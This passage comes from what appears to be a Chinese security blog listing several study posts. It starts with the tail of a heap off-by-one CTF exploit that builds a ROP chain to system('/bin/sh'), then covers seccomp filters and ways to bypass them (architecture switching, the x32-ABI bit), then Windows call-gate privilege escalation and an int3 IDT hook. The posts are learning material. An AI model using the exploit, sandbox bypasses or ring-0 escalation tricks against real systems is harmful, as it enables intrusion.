fake_book = p64(11) + p64(book1+0x30) + p64(environ) + p64(0x30)
edit(b'2', fake_book)
show()
aim = p.recvuntil(b'\nAuthor: ')[-(9+6):-9]
environinstack = int.from_bytes(aim, byteorder='little', signed=False)
mainret = environinstack - 0x140
print('mainretn: ' + hex(mainret))
fake_book = p64(11) + p64(book1+0x30) + p64(mainret) + p64(0x30)
edit(b'2', fake_book)

poprax_poprdi_callrax = baselibc + 0x1375B0
ROP = p64(poprax_poprdi_callrax) + p64(system) + p64(binsh)

edit(b'11',ROP)

p.interactive()

总结

很难想到这样一个小小的1字节覆盖漏洞能够最终实现控制系统终端的功能;

这也说明了,理解offbyone和利用offbyone是两件事情;

所以需要多练习,多总结:

目前拿到堆题的思路是先看delete函数,先找漏洞点,然后把漏洞点能干的事情铺开;

之后往功能实现靠,比如思考去实现地址读写功能,再思考有无地址重合思想的运用;

最后才是思考如何触发system的调用,而不是一来就想这个问题;

阅读全文
Linux沙箱--安全计算模式

核心功能是将内核态与用户态做严格隔离,安全计算模式–seccomp,主要用于限制用户进程能够使用的系统调用;

模式

1
SECCOMP_SET_MODE_STRICT

它是 Linux 内核安全计算模块 (seccomp) 中的一个操作指令,用于将调用线程的系统调用权限限制到极致。启用此模式后,线程只被允许调用 read、write、_exit 和 sigreturn 这四个系统调用,任何其他系统调用都会导致线程被 SIGKILL 信号立即终止;

1
SECCOMP_SET_MODE_FILTER

filter模式的核心是允许开发者使用 BPF(Berkeley Packet Filter) 程序来定义哪些系统调用可以被执行、以何种方式被执行,或是直接被拒绝;

BPF

BPF有一套伪汇编,用于编写过滤规则,定长指令,总共64位,如下结构所示:

1
2
3
4
5
6
struct sock_filter {
__u16 code;
__u8 jt; //jump true
__u8 jf; //jump false
__u32 k; //generic multiuse field
}

code在BPF.h中拥有宏定义:linux/include/uapi/linux/bpf.h at master · torvalds/linux · GitHub

编写好的filter结构以数组方式挨着排放,是一个队列,可以继续添加,类似访问控制列表。然后用以下结构打包:

1
2
3
4
struct sock_fprog {
unsigned short len; //块数
struct sock_filter __user * filter;
}

一般使用下面两个最常用的宏来进行BPF的编写:

1
2
BPF_STMT(code, k)  //用于操作BPF的寄存器
BPF_JUMP(code, k, jt, jf) //用于跳转

有个头文件能够便捷快速的去设置BPF规则,用这个网站:outflux.net/teach-seccomp/step-3/seccomp-bpf.h

里面定义了一些BPF宏,快速地去满足一些常见的PWN的要求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#define VALIDATE_ARCHITECTURE \
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr), \
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0), \
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL)

#define EXAMINE_SYSCALL \
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr)

#define ALLOW_SYSCALL(name) \
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_##name, 0, 1), \
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW)

#define KILL_PROCESS \
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL)

使用上面的4个宏定义可以快速地去设置白名单的系统调用规则的过滤,具体过滤如下:

1
2
3
4
5
6
7
8
9
10
11
struct sock_filter filter[] = {
VALIDATE_ARCHITECTURE,
EXAMINE_SYSCALL,
ALLOW_SYSCALL(read),
ALLOW_SYSCALL(write),
KILL_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};

这样一来就设置好了只允许该进程使用read和write的系统调用;

prctl激活

设置模式使用到系统调用prctl:

1
2
3
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0); //使seccomp对所有用户(包括root)生效
prctl(PR_SET_SECCOMP,SECCOMP_MODE_STRICT); //设为严格模式
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog); //设为过滤模式,prog则为sock_fprog结构体

绕过

限制了system以后就无法提权,大部分时候(白名单)是通过shellcode或者ROP来写一个ORW,即open,openv,read,readv,write,writev;

如果是黑名单过滤,那么可以找功能相似的其他调用号;

设置了seccomp的程序可以通过工具seccomp-tools来获取过滤规则:

1
seccomp-tools dump ./process

未检查架构

同样也是黑名单;

32位和64位的系统调用号不同,如果没有检查架构,那么就可以钻空子;

可以利用retq指令修改cs寄存器的值,cs=0x23表示32位,cs=0x33表示64位:

1
2
3
mov DWORD [rsp+4], 0x23
retf
//跨段返回,先pop rip,再pop cs

比如在64位下禁用了59号,也就是execve,但在32位下是另一个数字;

未检查大小

同样也是黑名单;

linux有个机制叫做x32-abi模式;有个掩码是__X32_SYSCALL_BIT,默认为0x40000000;

当系统调用号或上这个掩码的时候,意思是使用x32-abi模式来进行系统调用;

当禁用59号,那么或上掩码,没有检查调用号大小,就能正常执行系统调用,从而绕过;

阅读全文
保护模式引入-Windows驱动编程一

环境

对于以下理论,不提及环境均是32位操作系统上的;

使用VS系列搭配对应windows版本和SDK,WDK版本进行开发;

这里使用VS2015,win10,SDK和WDK版本10.0.14393(不要用VS2022,写不了32位驱动);

对于驱动环境的搭建在b站有详细的教程;

简略来说,先要搜索WDK,进入其下载界面,找到与之对应windows系统版本的WDK下载,但是不要安装,只是看清楚WDK的版本,下载与之对应的VS版本之后,选择同样版本的SDK下载,最后才安装WDK;

这个流程会帮你省很多不必要的麻烦;

在创建项目的界面此时就会有Driver选项了;

选择 空WDM驱动 模板,进入后删除其中自带的文件,创建一个main.c即可开始编写;

一个具体的驱动模板如下(类似于控制台程序的 int main()):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<ntifs.h>

//卸载函数
VOID DriverUnload(PDRIVER_OBJECT pDriver)
{

}

//驱动入口 main
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
{


pDriver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}

需要注意的是,把属性里面的把警告视为错误给关了,不然编译不通过;

当你编译通过,生成了sys文件之后,说明环境没问题了;

对于驱动的双机调试,需要准备一个windows虚拟机,我用到的是win7(x86);

打开虚拟机,用管理员方式打开cmd,输入如下的指令:

1
2
3
4
5
6
bcdedit /copy {current} /d debug    #拷贝当前引导为一个新引导叫做debug 这条指令完之后会获得一个ID
bcdedit /displayorder {id} /addlast #添加到显示
bcdedit /dbgsettings SERIAL DEBUGPORT:1 BAUDRATE:115200 #给到调试频道
bcdedit /bootdebug {id} ON #开启启动时选择引导
bcdedit /debug {id} ON
bcdedit /timeout 30 #超时

之后重启虚拟机,会发现可以选择debug进入,进入之后会一直卡着黑屏等待连接;

此时关机,在设置中添加一个(串行端口)硬件:

edit

选择使用命名的管道,管道名称输入 //./pipe/com_1 (这个名称可以随便com_1 com_2都行);

把打印机硬件给移除掉,因为它会占用端口;

这个时候找到你下载的WDK里面的windbg.exe,在Windows Kits文件夹里;

新建一个bat文件,编辑内容为如下:

1
cmd /k "D:\Windows Kits\10\Debuggers\x64\windbg.exe" -y SRV*D:\symbol*http://msdl.microsoft.com/download/symbols -b -k com:port=//./pipe/com_1,baud=115200,pipe

windbg路径填入自己对应的就行,要说明以下两条:

1
2
com:port=//./pipe/com_1,baud=115200,pipe #对应的管道名称要一样和vm里设置的
SRV*D:\symbol*http://msdl.microsoft.com/download/symbols #这里是D盘,可以设置其他的盘,它会从网上下载symbol到这个盘的symbol文件夹下

此时打开这个bat文件,就可以开始调试win7了;

和VS调试一样,用F9断点,F10步过,F11步入进行;

当断下点的时候,可以发现虚拟机win7动不了,冻住了,就说明挂载连接成功,可以进行调试;

保护模式

这里是从80386架构引申出来的理论:

实模式是在实地址上进行的,位长16,没有虚拟内存,虚拟地址的说法,一切都在物理地址上进行寻址;

寻址公式:
$$
段地址 × 10h + 逻辑地址(偏移) == 线性地址(实际物理地址)
$$
例如一条指令如下:

1
2
mov ax, word ptr ds:[0x15555]
ds = 2000h

那么实际上ax给到的值是 2000 * 10 + 15555 = 35555h地址里面的;

这个模式并不安全,在其他进程里,只要知晓内核代码区域的段地址,就可以访问它的内存;

所以引出了保护模式;

保护模式在实模式的基础上增加了位长为32,同时引入虚拟地址的概念,即每个进程都是40W起始,但进程A的40W存放的东西和进程B的40W存放的地址并不相同,同时引入段页机制;

要经过一系列多级页表,缓存快表的查询最终拿到A进程40W地址的真正物理地址,在物理地址上,一个进程很可能是离散存储的;

这是内存页的概念;在windows中也有快表和页命中的机制,换出到磁盘上的页,一般在C盘的pagefile里;

对于段的解释,则是进程对于不同部分,权限的划分;

要玩转计算机,就要学好页和段的机制,如同想要pwn好,就要学好linux堆栈的机制一样;

补充知识:CISC架构页一般4k,RISC架构页一般2k;

CISC和RISC还有不同的地方在于耗电量和脉冲频率,前者会大于后者,所以跑的快;

段

打补丁

之前学的时候我觉得我对保护模式下段的概念并不清晰,这里做一个对于段的总结,这个总结是对的,下面的展开可能有些说法和理解上存在误区;

保护模式下,fs存的是段选择子,里面的index可以转换为对应的GDT表的表项索引;

在该表项中(其实相当于就一个结构体),有多个属性,其中有属性就是基地址,但是cs,ss,ds这些寄存器对应的表项中的基地址属性的值基本上都是0;

当我访问 fs:[30h],它实际上就是获取fs对应GDT表项的基地址,然后加上30h拿值,这个是任何一种模式的分段的概念;

同时表项除了基地址还有其他各种各样的属性,其中就有标识三环零环的权限位,这就是提权的本质,只是让当前cs指向了一个换了个有r0级别的表项而已!

当然,在win7保护模式下,这个段获取到的地址还是虚拟地址,分了页才有物理地址;

引入和介绍

在32位保护模式下,段寄存器存的并不是一个实际地址,不遵守上面的规则,实则是一个表的索引;

当段寄存器通过表拿到基址之后,才遵守寻址规则,此时的(段地址*0x10)就相当于基址,但计算得到的仍然是虚拟地址,通过页表才能拿到物理地址;

所以在保护模式下的段这个概念,实际上都是虚拟的,只是和权限挂钩;

下图为段选择符(段选择子):

段选择符

比如ds,此时存放的值为0x2b,将其转换为二进制 00000000 00101011

那么按照上述段选择符的描述进行查看: 0000000000101 0 11

此时RPL为11,代表请求权限;

TI此时为0,代表要访问的表,其中有GDT和LDT,一个是全局描述表,一个是局部描述表,一般而言都是用的GDT;

101对应10进制为:5,查找GDT表的第五项;

在windbg里,有一个命令可以查看gdt:

1
r gdtr

执行后能获取gdt的地址,使用dq dd查看gdt地址的存放数据,可以拿到表项内容;

对于表项的修改可以用 eq ed进行修改;

我们直接拿windbg获取的gdt表内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
kd> dqs fffff80259e7dfb0  
fffff802`59e7dfb0 00000000`00000000 //这是表的第0项,是个数组
fffff802`59e7dfb8 00000000`00000000
fffff802`59e7dfc0 00209b00`00000000
fffff802`59e7dfc8 00409300`00000000
fffff802`59e7dfd0 00cffb00`0000ffff
fffff802`59e7dfd8 00cff300`0000ffff //表的第5项,ds指向的地方
fffff802`59e7dfe0 0020fb00`00000000
fffff802`59e7dfe8 00000000`00000000
fffff802`59e7dff0 59008be7`c0000067
fffff802`59e7dff8 00000000`fffff802
fffff802`59e7e000 0040f300`00003c00
fffff802`59e7e008 00000000`00000000
fffff802`59e7e010 00000000`00000000
fffff802`59e7e018 00000000`00000000
fffff802`59e7e020 00000000`00000000
fffff802`59e7e028 00000000`00000000

表中每个成员占8字节;

这些成员实际上叫做段描述符:
段描述符

00cff300`0000ffff

其中Segment Limit是限长,允许逻辑地址访问的最大长度,在这里是ffff

Seg Limit 19:16是作为Segment Limit的高位补充,所以Segment Limit整体是f ffff

Base Address是基址,这里是 0000

同时,Base 31:24和23:16是作为Base Address的高位补充,即Base Address整体应该是00 00 0000;

那现在就剩下c f3这12bit了;

举个例子,有如下代码:

1
mov eax,dword ptr ds:[0x12345678]

实际上是把基址0 + 0x12345678得到的地址的内容给到了eax;

而如果ds:[]括号里面的数据大于了4G,就会异常中断;

将所有数据对应翻译如下:


limit:fffff 20位,从0开始算(如果是0,则限长为1)

base:00000000 基址为0

type:3 段的权限!

s:1

DPL:3

P(有效位):1

AVL(保留字):0

L:0 默认为0

D/B:1

G(粒度):1 这个地方为1,limit以页为单位,否则以字节为单位,此时这个段管理4G内存(limit 4G)


type图

以上是type数值对应段的权限;

可以看到上面每隔一个描述,都会有一个accessed,它代表这个段被使用过;

如果将gdt一个成员设置为type:2,再给到ds这个成员,这个时候,2会+1变成3;

对于expand-down,叫做向下生长,即base和limit之间的区域变成不可访问(无权限)的状态,而其他没有包含的内存(4G中的其他地方)可以访问(和不带expand-down相反,不带的称作向上生长);

对于conforming(一致)描述是用于纯段模式下,应用层可以直接调用cs描述的代码段(内核);

当写内容到没有写权限的段时,就会发生异常中断;

从上述内容可以总结得到的信息为:需要遵守段的限长,读写权限,以及段寄存器寻表项,base是什么的内容;

对于更改cs的补充:可以直接更改ds,es,但是不允许直接更改cs,可以通过jmp进行间接更改:

1
jmp far 0x4b:address

它会跳转后将cs更改为0x4b,称为跨段跳转,不提权;

在win10上貌似不能用这样的方法改动cs?(为什么呢?)

也可以使用call:

1
call far 0x4b:address

这个时候栈里会压入旧的CS值,以及返回地址;

栈结构:

eip
cs

在内联汇编中还不能直接写call一个立即数,需要用到一个数组:

1
2
3
4
5
6
7
8
9
//32位
BYTE buff[6] = {0,0,0,0,0x4b,0};
((int*)buff)[0] = address;
__asm
{
jmp far buff
//等效于call fword ptr buff
call far buff //使用retf返回以平衡栈
}

D/B

对于每个段描述不同;

对于cs而言,d/b为0,在32位下,默认操作数为16位,否则为32位;

举例:

1
push 12

上述操作会将esp-4,但当cs的d/b为0时,只会让esp-2;

对于ss而言,d/b为0,在32位下,栈寻址会变为16位,否则为32位;

相当于使用sp寻址(两字节地址),而不是esp;

作用在普通的code段上(ds,es),d/b是0是1都无所谓,没有改变;

DPL

全称:描述权限等级;

代表这个段描述符的权限;一般只有0和3的数值,代表的是0环权限和3环权限;

当CS段和SS段同时DPL为3时,代表程序跑在应用层,同时为0时,代表程序跑在内核层;

补充CPL:当前权限等级,即CS段的DPL;

RPL:在之前的段选择子里出现过,后三位,代表请求权限等级,例如DS为2b,RPL为3,那么就是以3环身份请求访问这段段的内存空间;

在普通数据段下(DS,ES),RPL是无所谓的,没有效果的,但在SS上RPL一定要和DPL,CPL对应相同,不然就会G掉;

对于CS段,RPL也是无所谓的,只需要DPL和CPL对应相同;

调用门

之前在段节里讲的都是一般的代码段和数据段,当s位为1时是如此,但当s位为0时,此时变成系统段,type含义发生变化,具体type内容如下所示:

type

当s为0,type为c时,此时这个段被描述为调用门;

描述符发生变化如下:

call gate

首先,P,DPL,Type的概念不变,后面三个0是默认为0,后面5字节是代表有多少个参数入栈,Segment Selector是新的cs的值,offset则是要去地址的偏移(逻辑地址),加上的base是新给到的cs里面的,而不是当前的cs的base;

进入调入门后,更改cs的同时,会同步更改ss的值为cs的下一个项;

要进入调用门也需要使得DPL和当前cs和ss的DPL值一样;

所以它的意思是,当进入调用门时,进行跨段跳转(call),可提权,如要提权则构造两个段描述符,其DPL为0,分别给到cs和ss就行;

如果提权了,FS寄存器里的值会变化,所以进入r0时,需要保存fs的值(int 3的问题);

进入r0,栈也会发生变化,变成r0的栈,其中存的有返回地址,旧的cs,ss值,旧的栈的esp值;

而r3的原本栈并不会发生改变;

栈结构:

eip
cs
参数
esp
ss

要使用调用门,则将cs的值改为调用门就行,但是需要更改注册表项:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management的下面两个值:

FeatureSettingsOverrideMask和FeatureSettingsOverride都改为3;

不然使用调用门就会G掉;

一个问题:为什么使用跨段跳跃直接跳到DPL为0的段修改不行呢?

答:DPL需要等于当前CPL!所以需要借助调用门进行提权;

提权小实验

查看gdtr如下:

1
2
3
4
5
6
7
8
9
10
1: kd> dq 80b99000
ReadVirtual: 80b99000 not properly sign extended
80b99000 00000000`00000000 00cf9b00`0000ffff
80b99010 00cf9300`0000ffff 00cffb00`0000ffff
80b99020 00cff300`0000ffff 80008b1e`400020ab
80b99030 834093f7`9c003748 0040f300`00000fff
80b99040 0000f200`0400ffff 00000000`00000000
80b99050 830089f7`70000068 830089f7`70680068
80b99060 00000000`00000000 00000000`00000000
80b99070 800092b9`900003ff 00000000`00000000

可以通过调试发现,应用程序在运行时,CS为1b,SS为23;

分别对应这张表里的3,4项;

可以发现这张表里的1,2项和3,4项是类似的,只是它们的DPL都为0,而3,4项的DPL都为3;

所以可以通过调用门将CS的值改到1项,SS自动设为2项;

构造调用门结构:

1
2
3
4
首先我们要跳转的地址为函数test:(401000h 关闭随机化地址)
那么结构如: 0040xxxx`xxxx1000
要改到的cs值为第1项,也就是0b: 0040xxxx`000b1000
没有参数,且P为1,DPL为3,S为0,type为C:0040ec00`000b1000

将其复制到4b(第9项)位置;

1
80b99040  0000f200`0400ffff 0040ec00`000b1000

那么只需要通过跨段跳转去访问调用门就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<Windows.h>
#include<iostream>

int g_1 = 0;
void _declspec(naked) test()
{
__asm
{
mov eax, dword ptr ds:[0x80b99014]
mov g_1, eax
retf
}
}

int main()
{
BYTE buff[6] = {0,0,0,0,0x4b,0};
printf("%p \n",test); //401000
//printf("%p \n",*(int*)(0x80b99010)); //直接访问异常
__asm
{
push fs
call fword ptr buff //跨段跳跃
pop fs
}
printf("%x \n",g_1); //进入test后访问的结果 cf9300
system("pause");
return 0;
}

可以了解的到,在test里的操作都是r0级别的,使用的栈也是另一个栈,不是原本进程的栈;

同时只能用call提权,jmp无法提权,原因是当jmp访问调用门时,不会去改cs,ss(机器内部设定);

中断门

除了GDT,还有一个IDT,叫中断表;

中断表中存放的是中断门描述符;

如下是中断门的描述符:

int

type中的D的意思是,在16位系统中为0,32位往上为1,所以type是e,s还是0;

而其中段选择子,查找的依然是gdt;

偏移指向的地址即为中断处理函数;

通过int index去触发对应idt的表项的中断门,进入中断函数进行处理,同时权限更改为段选择子;

那就可以自拟函数入口,段选择子改作r0级别进行如调用门一样的提权;

注意,此时要使用 iretd 进行返回平衡栈,而不是retf;

iretd实际上是做了一步sti的操作去改写了eflags的if位,同时解除阻塞;

如果直接用retf返回,由于没有改写if位,在内核源码中会进行对这个位的比较,比较不为1就会进入蓝屏;

同时不能直接在r3使用popfd去修改eflags,因为进入后会if自动设置为0;

总结:中断门进入后,会将eflags改为2(if位为0),以我的理解是为了避免中断里面又出中断,所以返回时会恢复if位;

所以在中断门里,其他中断会被阻塞,比如缺页中断;

和中断门类似的陷阱门进入后eflags为202,也就是if位为1;

那实际上中断门进入是清空eflags的VM NT IF TF位,陷阱门少一个IF位;

陷阱门的结构和中断门一样,只是type为f!也是通过ldt进入,int触发;

所以中断门是阻塞的,陷阱门是不阻塞的,原因是中断由外部设备请求,陷阱是程序自发;

在处理函数中的栈结构(r0中的栈)如下:

eip
cs
eflags
esp
ss

补充获取表姿势:

32位下四个指令:

sgdt sidt获取,获取的内容是一个6字节结构,前两字节为表长,后4字节为表的地址,r3下即可使用;

lgdt lidt改写,改变表的位置,r0下才可以调用;

INT3_HOOK

一个基于中断门机制的hook小实验;

注意!只有在win32上有效,而且很没有什么实际用处(个人认为,因为会导致其他地方的int3出问题,只有自己进程的有用);

我们知道了对于int调用,实际上就是查idt表;

那么int3实际上调用的就是idt表第三项的函数,同时改段属性;

对于INT3_HOOK的本质,就是不去更改描述符中的函数地址,而去改描述符里的段属性;

使得进入int3调用的时候,依然使用原地址寻址,但是加上我们自己构造的base值,跳转到相应的hook函数,再jmp回原本的int3地址;

这样做的好处?根据我的理解实际上在做的时候,应该是自己构造一个伪gdt,而不是去动int3的段选择子;

这样才能保证ldt原封不动没去修改,被检测到hook的可能降低;

但是请注意,由于intel的CPU有两个个特性:流水线和预测,根据我的理解,它会把取地址,译码,取数据,以及预测后续地址分开进行;

那么会出现一种情况:当我们跳转到hook函数时,这个时候的cs段的base不是0,那么在后续预测时取到新的地址块(一块一块取地址,一一条一条这么寻址效率太低),它的寻址方式就会用那个地方的eip + base,相当于取到的代码都飞远了,译码也是用的这些远处的代码,自然会崩溃,像是有一个缓冲代码区,会把预测的代码提前取到缓冲区进行预测,取数据,只有进行大跳转的时候,或者到了该取新地址块的数据的时候,这个缓冲区才会刷新,刷新的同时会进行寻址;

所以当我们进入hook函数的时候,就应该直接跨段跳转走,跨到base为0的段上去正确执行我们的代码;

思路是:

  1. 构造gdt一个新的描述符属性为我们自己定义的段去进行hook函数的跳转;
  2. 那实际上进入r0,需要ss段一起更改,所以还需要写一个ss段的描述符在新描述符的后面;
  3. 修改int3处的段选择子为新段;
  4. 进入中断门后进行cs跨段跳转为base0;
  5. hook功能实现;
  6. 跳转回原int3执行;

获取gdt和idt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1: kd> r gdtr
gdtr=807d2c20
1: kd> dq 807d2c20
ReadVirtual: 807d2c20 not properly sign extended
807d2c20 00000000`00000000 00cf9b00`0000ffff
807d2c30 00cf9300`0000ffff 00cffb00`0000ffff
807d2c40 00cff300`0000ffff 80008b7c`d75020ab
807d2c50 8040937c`a0003748 7f40f3fd`f0004000
807d2c60 0000f200`0400ffff 00000000`00000000
807d2c70 8000897c`fac00068 8000897c`fb300068
807d2c80 00000000`00000000 00000000`00000000
807d2c90 800092b9`900003ff 00000000`00000000

1: kd> r idtr
idtr=807d3020
1: kd> dq 807d3020
ReadVirtual: 807d3020 not properly sign extended
807d3020 83e48e00`0008c200 83e48e00`0008c390
807d3030 00008500`00580000 83e4ee00`0008c800
807d3040 83e4ee00`0008c988 83e48e00`0008cae8
807d3050 83e48e00`0008cc5c 83e48e00`0008d258
807d3060 00008500`00500000 83e48e00`0008d6b8
807d3070 83e48e00`0008d7dc 83e48e00`0008d91c
807d3080 83e48e00`0008db7c 83e48e00`0008de6c
807d3090 83e48e00`0008e51c 83e48e00`0008e8d0

我会选择修改int3描述符为:

1
int3:83e4ee00`0008c800 -> 83e4ee00`0060c800

并在gdt 60的地方,也就是807d2c80的地方,写上cs段描述符和ss段描述符(r0权限):

1
7ccf9b5b`4800ffff 00cf9300`0000ffff

这里base设定为了7c5b4800,因为7c5b4800+83e4c800 = 401000,是我们hook函数的地址;

使用windbg查找内核函数DbgPrint,我们在实现功能处打印一个字符串,以表示hook成功:

1
2
3
4
5
6
7
8
9
10
0: kd> u nt!DbgPrint
nt!DbgPrint:
83e09271 8bff mov edi,edi
83e09273 55 push ebp
83e09274 8bec mov ebp,esp
83e09276 51 push ecx
83e09277 6a01 push 1
83e09279 8d450c lea eax,[ebp+0Ch]
83e0927c 50 push eax
83e0927d ff7508 push dword ptr [ebp+8]

拿到内核函数地址:0x83e09271

接下来就是代码实现了,当我们修改完gdt和idt之后,利用进程去实现hook:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
//vs2008模板
#include "stdafx.h"
#include <Windows.h>

typedef ULONG (__cdecl *DbgPrintProc)(PCSTR Format,...);
DbgPrintProc DbgPrint = NULL;

char* seco = NULL;

//未开启基址随机,默认为401000
void _declspec(naked) myHook()
{
__asm
{
push 0x8
push tiaoban
jmp fword ptr [esp] //进行跨段跳转,第四步,跳到08段
tiaoban:
add esp, 8

pushad
pushfd
push fs
push 0x30 //内核环境,不然调用内核函数有问题
pop fs

//实现逻辑,第五步
push seco
call DbgPrint
add esp, 4

pop fs
popfd
popad
mov dword ptr ss:[esp-4], 0x83e4c800 //转入原int3处理函数,第六步
jmp dword ptr ss:[esp-4]
}
}

int _tmain(int argc, _TCHAR* argv[])
{
printf("执行地址: %p\n",myHook);

//使用malloc获取为了防止ds数据段上的缺页中断
seco = (char *)malloc(10*sizeof(char));
memcpy(seco,"SecondBC\x0a\x00",10);
//之前拿到的内核函数
DbgPrint = (DbgPrintProc)0x83e09271;

system("pause");
__asm
{
int 3
}
system("pause");
return 0;
}

当激活int3时,就会进入myHook函数,之后进行打印字符串,然后转入真正的int3执行它的代码;

需要注意的是,windbg并不会显示打印出来的字符,需要使用

1
.ofilter "内容"

去设置过滤规则,它是完全匹配的,少一个字节都不给你回显(回车键\x0a)!

设置好之后,一定要去生成好的文件执行,不要通过vs的调试模块执行,为什么呢?

因为调试模块执行会给我们自动下int3断点,但是它的进程的401000不是一个有效的函数,所以会直接蓝屏!

执行的效果如图:

int3hook

可以看到windbg成功带出字符串,证明hook成功;

纠错:但经过这个实验可以发现ss实际上还是被设置为了10,也就是默认的r0 ss段!并不是设定cs段的后一项?

实际上是因为32位系统会取tr任务段里面的ss保存值,进行r0切换,对于syscall一类的系统调用会是cs的后一项值;

任务段&门

在64位中,任务段用的特别少,几乎不用做其原本功能;

补充windbg操作指令:

dg 0000h 解析段选择子选择的段描述符;

dt 模块!名称(可搭配正则表达) 查找符号对应地址;

!process 0 0,进行遍历操作系统上的所有进程;

在寄存器中,也有一个寄存器专门存放任务段,在windbg里面叫做 tr ;

存放的则是任务段的段选择子;

任务段的功能则是保存任务段结构,切换任务段则切换任务段结构;

如下为任务段(_KTSS)结构:

task1

实际上就是切换寄存器环境,所以一个任务,相当于一个线程;

但是操作系统为了不和CPU硬件的功能设计捆绑在一起,所以虚拟了线程的概念,而没有实际直接运用任务的概念;

Previous Task Link存放的是旧的任务段选择子的值,ESP0,ESP1的意思是0环的栈,1环的栈;

每个环都有不同的栈;

LDT指的是LDT的段选择子;

任务段描述符:

task2

其中就存放了任务段结构的地址(base属性),type里的b,指的是busy,如果是可用的(available)则是0,如果是正在用的(busy),则是1;

任务段也是放在gdt表,使用call或者jmp都可以跨段并切换环境(任务段结构),同时jmp也只能用在这里提权;

用这种方法切换任务,会使得当前eflags的NT位(嵌套任务)置1;

iretd执行的时候会先检测NT位,如果为0,则按照栈存方式恢复寄存器;

如果是1,会按照Previous Task Link保存的内容进行恢复返回;

之前的调用门,中断门进入的时候,实际上就是在当前任务段结构的esp0,和ss0上进行找值更改,但是并不会改变tr;

任务门描述符如下:

task_gate

它只有一个属性:任务段选择子;P DPL S也是e(1110),type为5;

在32位下,一般放在int8的位置(idt表),通过int激活进入门,效果和call任务段一样的,都是切换寄存器环境;

但有一点,因为它是在中断表里的,所以会有中断门的性质,比如VM IF TF的清空,但会把NT位置1,原因前面说过了;

页

引入和介绍

win32下的分页模式一般有两种,一种为101012模式,一种为29912模式;

后者有个特征便是进程的CR3是按20h隔开的,win7默认就是;

要在win7上配置101012模式分页的步骤如下:

首先也是创建一个新的引导,步骤如环境节里所述;

之后用管理员权限打开cmd,输入如下指令:

1
2
bcdedit /set pae ForceDisable #强制关闭pae
bcdedit /set nx AlwaysOff

之后查看cr3以确认是否配置环境成功;

在system32目录下,有两个内核文件:

ntkrnlpa.exe和ntoskrnl.exe;在system32/driver里的驱动文件,其模块就包含有ntoskrnl;

这两个文件是分页用到的文件,前者对应29912,后者对应101012;

模块不会包含ntkrnlpa,但是如果模式是29912,依然用的是ntkrnlpa里面的内容,就和kernel32和kernelbase的关系类似;

已知保护模式下用的是虚拟地址,如何得到物理地址?

页表寻址

要使用到操作系统课上讲的页表机制;

101012模式指的就是10位 10位 12位;

虚拟地址32位按照上述规则进行划分,12位代表页内偏移,中间10位代表页表项(PTE),高10位代表页目录项(PDE);

实际上可以理解为两级页表,为了实现页表的切入切出和离散存储(因为页表也比较大),所以才有的二级页表(页目录);

每个进程都有一个cr3寄存器,里面存的值是一个物理地址;

这个物理内存就是二级页表,通过这个二级页表进行虚拟地址的查询方式,进而获得虚拟地址对应的物理地址;

页表存的都是指针,但是后12位代表属性,不做为地址使用;

注意,在windbg里面查看物理地址,需要带感叹号!dd;

二级页表

具体寻址算法为:

一级页表地址 = ((DWORD*)cr3值(二级页表))[虚拟地址高10位] (高10位是个索引,不是偏移)

对应内存块地址 = ((DWORD*)一级页表)[虚拟地址中10位] (中10位代表页号,也是索引)

真实物理地址 = 内存块地址 + 页内偏移

需要注意的是,101012分页模式页表存储的直接就是地址,不是内存块号,不要换算;

上面就可以解释,为什么同样的40W地址能拿到不同的内存内容,因为cr3(二级页表)不一样啊,对应的一级页表也不一样;

对于CPU而言,里面有如下内容:MMU单元,TLB快表,页表缓存(二级TLB),L1,L2,L3缓存;

MMU单元就是负责页表寻址的,其基本功能就是一个输入cr3和虚拟地址输出一个数据的函数;

一开始寻址的时候会直接拿高20位去TLB里面找缓存,如果找到了,就会得到一个内存块号,接着拿到L1~3中去继续找对应存储数据内容,找不到就开始拆虚拟地址;

当把高10位拆出去之后,把中10位(一级页号)拿到页表缓存中去找,也是一个道理,如果找到了,就会得到一个内存块号,接着拿到L1~3中去继续找对应存储数据内容,找不到就继续拆虚拟地址;

当拆到底以后,计算出物理页(内存块),就会拿到L1~L3去找,还找不到?(即物理地址已拿到,但是缓存上找不到)

已知:缓存上面的对应地址就是物理地址减去低位的行内偏移 (标记项(有效位,脏位,标记位,组号/行号,等)(缓存上粗略来讲除了这些位还剩数据位)

还找不到就计算板卡地址,到内存条上去寻址(用的也是物理地址进行的IO操作,访问的是SDRAM芯片);

当取到数据以后,会把数据对应的内存块,一级页号,二级页号,依次写回缓存中去,方便下次快速查找;

对于L1~L3的关系,则是经过一段指令周期以后,L1往L2写内容,L2往L3写内容,L3往内存条写内容,L1则是由内存上取到数据以后进行写回;

实际上L缓存的结构像是一个二维数组(是SDRAM芯片的映射,SDRAM芯片就是按行列来组成的,因为他要按行刷新);

假设L1~L3属性如下:

L缓存

实际上L1分成了两部分,一部分是D(数据),一部分是I(指令);

以L2作为例子,总大小为256KB,每一行有64B,相当于有(256*1024)/64 = 4096行;

